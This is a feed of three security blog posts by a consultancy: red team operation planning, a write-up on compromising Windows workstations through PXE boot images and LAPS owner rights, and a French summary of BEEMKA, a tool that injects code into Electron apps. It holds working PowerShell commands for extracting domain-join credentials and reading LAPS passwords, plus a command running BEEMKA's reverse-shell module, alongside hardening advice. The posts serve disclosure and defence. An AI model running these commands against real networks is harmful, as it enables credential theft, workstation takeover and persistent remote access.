Rémi Escourrou, Auteur https://www.riskinsight-wavestone.com/author/remi-escourrou/ The cybersecurity & digital trust blog by Wavestone's consultants Thu, 17 Jun 2021 07:25:49 +0000 en-US hourly 1 https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png Rémi Escourrou, Auteur https://www.riskinsight-wavestone.com/author/remi-escourrou/ 32 32 How to take advantage of a red team operation? https://www.riskinsight-wavestone.com/en/2020/08/how-to-take-advantage-of-a-red-team-operation/ Tue, 25 Aug 2020 12:40:25 +0000 https://www.riskinsight-wavestone.com/?p=14065 Out of the 40 major incidents managed by CERT-Wavestone last year, only 26% of security incidents were identified by the organisation’s cyber detection team (the SOC in most cases). It is therefore quite logical that the ANSSI mentioned a collective...

Cet article How to take advantage of a red team operation? est apparu en premier sur RiskInsight.

]]> Out of the 40 major incidents managed by CERT-Wavestone last year, only 26% of security incidents were identified by the organisation’s cyber detection team (the SOC in most cases). It is therefore quite logical that the ANSSI mentioned a collective weakness in detection at the last French major security conference “les Assises de la Sécurité”.

 

But how to strengthen the detection of an intrusion into one’s company? Penetration testing allows us to evaluate the level of protection/hardening on a precise and supervised perimeter, which does not necessarily represent the reality experienced during a real situation. Crisis management simulations help to improve the response… Red Team operations can be a good element of response, allowing the information system and detection capabilities to be evaluated (and therefore improved) from the beginning to the end of a cyberattack.

What is a Red Team operation? It is simply a realistic attack without the negative effects. The objective is to determine, today, what malicious actions a group of attackers can carry out on my company and when am I able to detect them?

In this article, we will see what the key steps are in such an operation and how to ensure that we reap the benefits.

 

STEP 1: DEFINE THE CORE TEAM AND IDENTIFY THE TROPHY

Defining a restricted control team is essential to limit the leakage of information to the Blue Team (detection team, i.e. SOC), to make communications more fluid and to facilitate decision-making by the client. The control team must therefore be clearly separated from the Blue Team. Often the choice is made between the CISO or a representative of the ExCom, with whom the limits of the perimeter and the operating mode (as wide as possible) will have to be set, in order to avoid any unfortunate incident!

“That’s out of scope” – Said no attacker ever

Then, a particularity of a Red Team operation is to define a “trophy”, the final target of the operation. Indeed, an attacker is often motivated by an objective (gain, destruction, data theft, …) and it is advisable to copy the Red Team’s objectives on it. The Red Team generally already has some good ideas but the best trophies (i.e. the strongest impact during the restitution) are closely linked to the business stakes of the company and its current events.

The target must be the scenarios that are the most chilling for the managers: a remote takeover of the SWIFT infrastructure? A compromise of the payment terminals? The leakage of the VIP customer list? Positions taken in recent months abroad? The ideas may be numerous, but it is necessary to restrict oneself to one or two targets to keep the most critical ones visible. It will always be possible to identify another trophy for the next operation: it is even advisable to modify the trophies from one year to the next in order to test different parts of the information system.

During our latest operations, ExComs have chosen scenarios that have already taken place during real cyber attacks they have been subjected to. This also enables them to assess the effectiveness of the new security measures implemented.

 

STEP 2: PREPARE AND LAUNCH THE ASSAULT BY MIXING EFFICIENCY AND STEALTH

The credibility of the attack is one of the key factors in the success of the operation, particularly during the restitution phase. Once the trophy has been arrested: we build an approach based on the techniques used by the attacking groups.

It is at this point that field returns are particularly useful! At Wavestone, we rely heavily on our Incident Response Team (CERT-W) and its Threat Intelligence capacity to identify the latest trends, on the technical know-how of our audit team and the creativity of our CTF (Capture The Flag) team.

Thus, the Red Team will use all possible and necessary means to penetrate the IS (phishing campaign, telephone phishing, physical intrusion, compromise of components exposed on the internet…) and then bounce back to the trophy. This phase is the most creative and exciting for the listeners (as well as for the attackers), and can potentially last several weeks, just like the most high-profile cyber-attacks.

However, the key word must remain: “stealth”! Indeed, the slightest detection by the Blue Team can totally derail or set back the operation. Particular attention must be paid to customised attack tools and infrastructures to avoid panicking the detection systems. For the first point, we have developed internally the Abaddon tool, now open-source, which allows us to build and deploy the necessary infrastructures in just a few clicks.

 

Two questions always come up when it comes to the conduct of a Red Team operation.

The first one is “What to do in case of detection? ». That an action may be detected can happen during a Red Team operation: a good SIEM correlation rule, an informed user who shares an abnormal behaviour, etc… First of all, in the basic organisation, the control team must supervise incidents within the SOC in order to avoid an “over-escalation” in crisis of an incident related to the Red Team. The control unit will then be able to request a report from the Blue Team (summary, detected behaviour, timeline of actions, remedial actions, etc.) and then define the recovery scenario with the Red Team: ignore the detection because it is too old, start from the penultimate compromised asset that has not been detected, etc. Moreover, the work will become more complicated for the Red Team, which will have to completely change its C2 infrastructure and henceforth succeed in deceiving a Blue Team on alert.

The second “If the trophy(s) are obtained very quickly, what can be done?” Let’s imagine the worst case scenario: the application administrator of the trophy gets trapped by a phishing email and allows us to take complete control of the application from the very beginning of the operation (Anyone can make a mistake). The point will be shared with the control team and the procedure to be followed will be defined jointly: add trophies to test the robustness of another perimeter, start from scratch and identify another compromise path, … This somewhat caricatural example is there to remind us that the objective of a Red Team operation is to durably improve the level of security via Blue Team training and not just to obtain a trophy.

 

STEP 3: PROVIDE A CLEAR RESPONSE TO A CRITICAL BUSINESS RISK

The objective remains to provide sponsors with a clear vision of the real security status of their IS, the attack scenarios that will give them access to their critical resources (identified as “trophies” of the operation), as well as their detection capabilities. Quite simply, the Red Team operation must make it possible to answer the question “Is the trophy accessible and with what level of expertise? ». However, it should be remembered that Operation Red Team will highlight an exploitable path that may not be the only or the simplest one.

From then on, we return to the stakeholders (CISO, SOC, COMEX…) with a high-level synthesis in order to present the conclusions of the Red Team operation, the attack scenario followed and the most priority worksites. The results are generally compared with typical attacker profiles (Maze, REvil/Sodinoki…) on the MITRE ATT&CK reference frame to be more meaningful.

 

In a second stage, the Blue Team will obviously have to be given a detailed account of the technical stages of the operation, with a view to defining areas of progress on detection.

“If we win, we lose ” Said a good red teamer

This second phase is fundamental for the operation to have the expected added value: pedagogy and clarity are needed to get the right messages across! Let’s not hesitate to hold additional workshops to explain the problems raised by the operation and to find solutions together. A joint interpretation of the findings by the Blue Team and the Red Team allows us to take a step back from the vulnerabilities and identify concrete actions for improvement.

The Red Team operation should not be reduced to correcting a few vulnerabilities on the IS, but should make it possible to obtain the effective level of security (even if it is not exhaustive, as a Red Team will never be an audit).

In a few words, a Red Team operation makes it possible to test its defence strategy on a large scale and to train (improve) its defence team. The very concrete nature of the trophies allows an understanding and awareness of the cyber risk of the decision-makers.

 

Cet article How to take advantage of a red team operation? est apparu en premier sur RiskInsight.

]]> Taking over Windows Workstations thanks to LAPS and PXE https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/ Fri, 31 Jan 2020 07:16:44 +0000 https://www.riskinsight-wavestone.com/?p=15182   The workstation remains one of the favorite targets during Red Team operations. However, its security level has drastically increased with security solutions such as Bitlocker or LAPS. Can these improvements introduce new attack paths? In this article we will...

Cet article Taking over Windows Workstations thanks to LAPS and PXE est apparu en premier sur RiskInsight.

]]>

 

The workstation remains one of the favorite targets during Red Team operations. However, its security level has drastically increased with security solutions such as Bitlocker or LAPS. Can these improvements introduce new attack paths?
In this article we will examine how the combination of two good security solutions with no apparent connection to each other can lead to the takeover of all workstations in a Windows environment. The main advantage of this technique is that it is exploitable in black box, i.e. without any prior knowledge of the target.

Automated mastering of workstations

Deploying and configuring large numbers of workstations is a tedious task that can benefit from automation using tools such as Microsoft Deployment Toolkit (MDT) or System Center Configuration Manager (SCCM). These technologies allow, for example, to install a Windows image on a workstation from a network access and to automate its integration into the company’s Active Directory.

Microsoft Deployment Toolkit (MDT)

Microsoft Deployment Toolkit [MDT] is a Microsoft tool that allows deploying a Windows image with a predefined configuration. MDT captures a Windows image (“.wim” format) and uses it to deploy Windows to new devices. To accelerate the deployment of a new device, these files are deployed on the network so that the workstation can boot on the network through PXE. By default, they are publicly accessible (without authentication) using the Trivial FTP protocol (TFTP).

Boot PXE

The PXE boot (Pre-boot eXecution Environment) allows a workstation to boot from the network. It relies on a specific DHCP server response defined in RFC 4578 [DHCP & PXE].
The PXE client sends a DHCP request with specific options related to PXE and the DHCP server response give, in addition to the usual IP addressing information, the location of the pre-boot file on the network, accessible via TFTP.
Fig. 1 : Download « wim » image
Once the image is loaded, the client installs the content on the local disk and integrates it into the Active Directory through a dedicated service account included in the PXE pre-boot image. Once the installation is completed, the workstation is functional and the enrollment in the Active Directory is effective.

Retrieval of sensitive data

These PXE boot features have already been studied by many people [NETSPI] and are useful for an attacker because they allow extracting sensitive information. Indeed, an attacker can boot on PXE and take advantage of this automated process to obtain a standard workstation in the target domain, without prior information.
In particular, it is possible to :
  • Press F8 key during the Windows PE deployment phase, which prompts an administrator console on the machine. This provides access to the contents of the file system that will be deployed to the workstation.
  • Press Shift+F10 during the setup process will bring up a system console. For example, a local administrator account could be added on the device or the SAM and SYSTEM databases could be extracted to obtain the default password hash of the local administrator account;
  • Extract and analyse the memory of the workstation during the setup in order to extract sensitive information;
  • Retrieve the pre-boot image file “.wim” to access all the settings: password of the service account used for integration in the domain, files containing default passwords such as “unattend.xml“, etc.

 

The next section will focus on this last option.

Searching and extracting the image file

In order to make it easier to obtain the pre-boot image from a DHCP request, we developed a Powershell [POWERPXE] script to automate the following steps (additional steps are present in the case of SCCM [SCCM & PXE]):
  • Initialization of the DHCP exchange in “discover” mode;
  • Extraction of the location of the boot configuration file “.bcd” in the DHCP response;
  • Downloading the “bcd” file via TFTP;
  • Extraction of the location of the “.wim” image store in the boot configuration file;
  • Downloading the “.wim” image via TFTP;
  • Searching for plain text passwords, especially in the “Bootstrap.ini” and “CustomSettings.ini” files.

 

This script needs to be run as an administrator to change the network interface configuration as well as open the boot configuration file.
To test this script, the reader could use the AutomatedLab [AUTOMATEDLAB] project and a specific configuration file hosted on GitHub [POWERPXE]. This lab consists of :
  • A “lab.fr” domain controller;
  • A server with the “MDT” role exposing a DHCP service, network directories and a TFTP interface;
  • A server to test the attack, it is also possible to test the script with a simple network access.

 

PS > Import-Module .\PowerPXE.ps1
PS > Get-PXECreds -InterfaceAlias “lab 0”
>> Get a valid IP adress
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101
>> Request BCD File path
>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address: 192.168.22.3
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1
[…]

Note for the reader: if the account used to join the domain is in the “Domain Admins” group, it is your lucky day!!! #TrueStory

Going further

This account is generally not tagged as sensitive, it may be found in other locations: SMB shares, SharePoint, etc.
Also, if the PXE boot is restricted to a specific network zone, the “.wim” file or the associated configuration files “Bootstrap.ini” and “CustomSettings.ini” are generally accessible on file shares with little access control. In this case, read access to this file allows to perform the attack described in the next section.

From domain join to administrative privileges on all workstations

The privilege « Domain Join »

The “Domain Join” privilege (or joining a device in the domain) corresponds to the Active Directory privilege “Add workstation to domain” [JOIN-DOMAIN]. In the default configuration, any authenticated user can join up to 10 machines to the domain.
However, in most companies, this privilege is restricted via a GPO (Group Policy Object) present in the domain.
  • Computer Configuration
    • Windows settings
      • Security Settings
        • User Rights Assignment
          • Add Workstations to the Domain
By default, the “Account Operator” group has the necessary privilege to join a machine to the domain. However, it is not recommended to use it because the privileges of this group are too high: for example, it allows opening an interactive session on the domain controllers.
Usually a dedicated service account is created: this is a basic domain account with only specific privileges to be able to join a workstation to the domain.
When a machine is integrated into the domain, an object of the class “computer” is created in the Active Directory. The user account used to create this object, i.e. joining a machine, is defined as the owner of this object.

How LAPS works

As the machines are deployed from a single template, the password of the local “Administrator” account (builtin, aka RID 500) is the same on all machines. This configuration is a vulnerability because it allows pivoting on all the others in case of compromise of a single machine. The robustness of the local account password is not even considered because it will be possible to move laterally with Pass The Hash (PtH).
The “Local Administrator Password Solution” tool, LAPS, allows modifying and managing the passwords of one local account automatically.
When the LAPS solution is installed, two security attributes are added to the machine class:
  • The “ms-mcs-AdmPwd” a “confidential” computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
  • The “ms-mcs-AdmPwdExpirationTime” regular attribute computer attribute that stores the LAPS password reset date/time value.
The “Find-AdmPwdExtendedRights” command inside the LAPS PowerShell module (the AdmPwd.PS module) identifies groups or users who can access the LAPS passwords. Indeed, this module lists the users with read access on the “ms-mcs-AdmPwd” attribute:


PS > Import-Module AdmPwd.PS
PS > Find-AdmPwdExtendedRights | fl
ObjectDN : OU=COMPUTER,DC=lab,DC=fr
ExtendedRightHolders : {LAB\LAPS_recover, LAB\Domain Admins}

Taking over workstation thanks to LAPS

The owner of an object and the privileges granted to users (or other objects) on that object are stored in a security descriptor. Access rights (i.e. privileges) take the form of a DACL (Discretionary Access Control List) composed of ACEs (Access Control Entries), where each ACE describes one or more permissions granted or denied to a user.
The following script extract the privileges granted by default (via ACEs) to the owner of a computer object:

Import-module ActiveDirectory
## Extraction de la configuration par défaut d’un objet « computer »
$computerobject = Get-ADObject -SearchBase (Get-ADRootDSE).SchemaNamingContext -Filter {Name -eq “Computer” } -Properties defaultSecurityDescriptor
## Creation d’un objet permettant la gestion des ACL
$sec = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sec.SetSecurityDescriptorSddlForm($computerobject.defaultSecurityDescriptor)
## Recherche des privilèges du propriétaire de l’objet
$acc = New-Object System.Security.Principal.NTAccount(“CREATEUR PROPRIETAIRE“) ## ou “CREATOR OWNER”
$sec.GetAccessRules($true,$false,[System.Security.Principal.NTAccount]) | Where-Object {$_.IdentityReference -eq $acc}

The result of the command contains, among other things, the following ACE:

ActiveDirectoryRights : DeleteTree, ExtendedRight, Delete, GenericRead
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : CREATEUR PROPRIETAIRE
IsInherited : False
InheritanceFlags : None
PropagationFlags : None

The owner of an object, inherited from the class “computer”, has by default the privilege “ExtendedRight”. However, the “ExtendedRight” privilege, or rather “All extended rights” in the graphical interface, allows access to the LAPS password.
For example, the password can be accessed using PowerView :

PS > Import-Module .\PowerView.ps1
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
ComputerName : COMPUTER
ms-mcs-AdmPwd : 9g)4G+35w;2$
ms-mcs-AdmPwdExpirationTime : 08/04/2019

The account used to join a machine in the domain can compromise it if LAPS is deployed. Furthermore, if the same account is used to perform all domain join, as is often the case using MDT or SCCM, the service account can take over all workstations.
The owners of the “computer” objects can be identified with the following commands:

Import-module ActiveDirectory
$computers = Get-ADComputer -Filter *
foreach ($comp in $computers) {
$comppath = “AD:$($comp.DistinguishedName.ToString())”
$acl = Get-Acl -Path $comppath
Write-Host $comp.SamAccountName $acl.Owner
}

Hardening

Protect the PXE boot sequence

To avoid an attacker with access to the corporate network booting into PXE, it is strongly recommended that the ability to boot this way is limited to specific network areas, such as dedicated rooms with physical access control.
On the other hand, it is also recommended to require a password before starting the deployment. This can be configured by checking the “Require a Password when computers use PXE” checkbox in the SCCM configuration.
More generally, Microsoft’s recommendations for deploying PXE [PXE SECURITY] are a good starting point to secure any PXE installation.

Removing ExtendedRights Privileges, a False Good Idea

Microsoft proposes also to reduce the privileges of the creator owner of the object so that he can no longer access the security attributes related to LAPS [LAPS-PERMISSION]. This first solution involves changing the defaultSecurityDescriptor of the “computer” class to remove the privilege “ExtendedRights” from the user “OWNER CREATOR“. The default value, in SSDL format, is :

(A;;RPCRLCLORCSDDT;;;CO)

It will become:

(A;;RPLCLORCSDDT;;;CO)

Thus, every owner of an object of the “computer” class loses the extended attributes and can no longer access the LAPS attributes: that’s it!
Unfortunately, this configuration change is not enough. Indeed, the owner of an object [OWNER] has implicitly the “Write-Dacl” privilege on this object. With a little subtlety: the “Write-Dacl” right of the owner is not specified in the ACL of the object but exists.
As its name indicates, “Write-Dacl” allows to write an ACE in the DACL. It is possible to auto-grant the privilege “GenericAll” or “ExtendedRights” on an object.
This path can be visualized with BloodHound since version 2.0 (August 2018):
Fig. 2 : BloodHound Path
This path can be exploited with PowerView with the following command to add the “GenericAll ” privilege on the “COMPUTER” device (commands have to be run as the owner user of the object) :

PS > Import-Module .\PowerView.ps1
PS > Add-DomainObjectAcl -TargetIdentity COMPUTER -Rights All
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
ComputerName : COMPUTER
ms-mcs-AdmPwd : 9g)4G+35w;2$
ms-mcs-AdmPwdExpirationTime : 08/04/2019

A “deep” hardening

The owner of a computer object can still read the LAPS password. A first “homemade” solution is to regularly follow and change all owner.
For example, it is possible to define the “Domain Admins” group:

Import-module ActiveDirectory
$computers = Get-ADComputer -Filter *
foreach ($comp in $computers) {
$comppath = “AD:$($comp.DistinguishedName.ToString())”
$acl = Get-Acl -Path $comppath
$objUser = New-Object System.Security.Principal.NTAccount(“<DOMAIN>“, “Domain Admins“)
$acl.SetOwner($objUser)
Set-Acl -Path $comppath -AclObject $acl
}

Microsoft also offers a second solution by manually changing the privileges of the owner of an object [OWNER-RIGHTS] at the OU level:
  • Open the Active Directory Users and Computers snap-in
  • Right-click the OU on which you want to implement Owner Rights, and then click Properties
  • In the Properties box of the OU, click the Security tab
  • Under Group or usernames, click Add
  • Enter “OWNER CREATOR” or “CREATOR OWNER” in the text box.
  • Define the permissions granted to the owner of an object
A specific definition of the privileges of the “OWNER CREATOR” user on the OU, i.e the creation of explicit ACE, take precedence over the implicit privileges.
However, this technique must be tested on a test environment before being deployed in production.

Conclusion

Taken individually, PXE and LAPS provide high security value within an information system. However, the combination, even when properly configured, can lead to the compromise of a large part of the information system.
Today, the article has focused on windows deployment and LAPS but other solutions with high privileges on a lot of computers (WSUS, antivirus or backup agent) can allow pivoting inside the IS.

French original publication : MISC n° 103 
https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE

 

References

Cet article Taking over Windows Workstations thanks to LAPS and PXE est apparu en premier sur RiskInsight.

]]> BEEMKA – Electron Post-Exploitation When The Land Is Dry https://www.riskinsight-wavestone.com/en/2019/08/beemka-electron-post-exploitation-when-the-land-is-dry/ Thu, 29 Aug 2019 16:15:54 +0000 https://www.riskinsight-wavestone.com/?p=15574 Lors de les BSides Las Vegas 2019, Pavel « @ sadreck » Tsakalidis a présenté un nouveau framework de post-exploitation qui repose sur l’utilisation d’Electron par des « applications desktop ». Sa présentation démontre que l’utilisation massive d’Electron ces dernières...

Cet article BEEMKA – Electron Post-Exploitation When The Land Is Dry est apparu en premier sur RiskInsight.

]]>

Lors de les BSides Las Vegas 2019, Pavel « @ sadreck » Tsakalidis a présenté un nouveau framework de post-exploitation qui repose sur l’utilisation d’Electron par des « applications desktop ». Sa présentation démontre que l’utilisation massive d’Electron ces dernières années peut être utilisée pour injecter du code malveillant dans des applications légitimes.
Le projet peut être retrouvé sur le dépôt GitHub suivant : https://github.com/ctxis/beemka.

Introduction

Electron est un framework permettant de développer des applications multiplateformes avec des technologies web (Javascript, HTLM et CSS).
Son fonctionnement est assez simple, Electron utilise « node.js » en backend et « Chromium » en frontend :
Electron a notamment permis de développer des applications aujourd’hui incontournables en entreprise :
Applications Electron

Principe de l’attaque

Les applications Slack, GitHub ou encore Microsoft Teams utilisent le dossier « App Data » lors de l’installation. Il est donc possible pour l’utilisateur d’accéder en écriture au répertoire d’installation.
Toutes les applications Electron possèdent un dossier “resources” dans leur répertoire d’installation :
Illustration avec GitHubDesktop
 
Ce dossier contient généralement :
  • Le dossier « app » qui contient l’application ;
  • Le fichier « electron.asar » qui prépare l’environnement Chronium au lancement de l’application.
Le fichier « electron.asar » peut être considéré comme une archive qui contient des scripts « *.js » :
Conteneur « electron.asar »
Le fichier « chrome-extension.js » permet la gestion de l’environnement Chronium :

 

Pavel propose ainsi d’injecter directement dans ce fichier du code javascript, permettant de lancer une action malveillante lors d’un évènement spécifique :

app.on(‘browser-window-focus‘, function (event, bWindow) { bWindow.webContents.executeJavaScript(“alert(Hello Github !!’);“) })

 

Lors de l’ouverture de l’application (après avoir packé le fichier « electron.asar » et redéposé dans le répertoire « resource »), un pop-up (XSS style) va s’ouvrir dans l’application GitHub Desktop :
Illustration avec GitHub Desktop
Le code est donc correctement exécuté.

Démonstration

La vidéo suivante présente une démonstration du module « rshell_cmd » dans GitHub Desktop, permettant d’ouvrir un reverse shell vers notre listener :
La commande utilisée est la suivante :

$ python3 ./beemka/beemka.py —inject —module rshell_cmd —asar ./electron_safe.asar —output ./electron.asar

De plus, l’exécutable de l’application « GitHub Desktop » n’est jamais modifié durant la modification du fichier « asar ». Cette technique peut donc permettre de contourner une politique de filtrage présente sur le poste.

Conclusion

Le framework présenté par Pavel est très intéressant pour compléter ses techniques de persistance. En effet, il se base sur le fonctionnement intrinsèque d’Electron et ne nécessite pas d’exploiter une vulnérabilité présente dans les applications.
Le framework permet aussi d’aller plus loin en accédant aux données des applications mais aussi de réaliser d’autres opérations comme déposer un keylogger, prendre un Screenshot, …
A ce jour, aucune solution n’était proposée par Electron pour mieux vérifier l’intégrité des fichiers des applications. Le plus simple est d’installer les applications dans « Programmes files » avec les privilèges administrateurs pour ne pas permettre à un utilisateur standard d’éditer le fichier « electron.asar ».
Ps : BloodHound est aussi une application Electron, une bonne « blague » à faire aux équipes Red/Blue Team :

Cet article BEEMKA – Electron Post-Exploitation When The Land Is Dry est apparu en premier sur RiskInsight.

]]>